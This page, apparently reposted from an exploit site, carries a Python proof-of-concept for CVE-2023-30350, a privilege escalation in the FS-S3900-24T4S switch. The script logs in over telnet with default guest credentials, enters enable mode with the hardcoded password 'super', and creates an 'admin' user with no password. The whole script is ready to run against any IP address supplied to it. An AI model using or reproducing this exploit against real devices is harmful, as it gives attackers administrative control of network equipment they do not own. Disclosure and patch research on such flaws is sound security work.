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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: FS-S3900-24T4S Privilege Escalation
# Date: 29/04/2023
# Exploit Author: Daniele Linguaglossa & Alberto Bruscino
# Vendor Homepage: https://www.fs.com/
# Software Link: not available
# Version: latest
# Tested on: latest
# CVE : CVE-2023-30350

import sys
import telnetlib


def exploit(args):
    print(args)
    if len(args) != 1:
        print(f"Usage: {sys.argv[0]} <ip>")
        sys.exit(1)
    else:
        ip = args[0]
        try:
            with telnetlib.Telnet(ip, 23) as tn:
                try:
                    tn.read_until(b"Username: ")
                    tn.write(b"guest\r\n")
                    tn.read_until(b"Password: ")
                    tn.write(b"guest\r\n")
                    tn.read_until(b">")
                    tn.write(b"enable\r\n")
                    tn.read_until(b"Password: ")
                    tn.write(b"super\r\n")
                    tn.read_until(b"#")
                    tn.write(b"configure terminal\r\n")
                    tn.read_until(b"(config)#")
                    tn.write(b"username admin nopassword\r\n")
                    tn.read_until(b"(config)#")
                    print(
                        "Exploit success, you can now login with username: admin and password: <empty>")
                    tn.close()
                except KeyboardInterrupt:
                    print("Exploit failed")
                    tn.close()
        except ConnectionRefusedError:
            print("Connection refused")


if __name__ == "__main__":
    exploit(sys.argv[1:])